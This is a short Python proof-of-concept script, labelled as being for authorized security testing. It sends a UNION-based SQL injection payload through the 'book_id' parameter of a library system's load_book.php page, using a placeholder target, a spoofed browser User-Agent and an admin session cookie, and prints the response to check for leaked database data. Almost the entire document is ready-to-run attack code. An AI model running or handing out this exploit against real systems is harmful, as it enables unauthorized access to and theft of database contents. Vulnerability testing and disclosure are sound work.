The following code is for security research and authorized testing only.
python
import requests
# Target URL configuration
target_url = "http://target-ip/librarysystem/load_book.php"
# SQL Injection Payload to test vulnerability
# This payload attempts to concatenate the database version with the original query
payload = "1' UNION SELECT 1, version(), 3--+"
# Parameters to be sent
params = {
"book_id": payload # Assuming 'book_id' is the vulnerable parameter
}
# Headers to simulate a legitimate browser request
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Cookie": "PHPSESSID=admin_session_id" # Requires High Privilege session
}
try:
response = requests.get(target_url, params=params, headers=headers, timeout=10)
if response.status_code == 200:
print("[+] Request sent successfully.")
print("[+] Response snippet:")
print(response.text[:500]) # Inspect response for database errors or leaked data
except requests.exceptions.RequestException as e:
print(f"[-] An error occurred: {e}")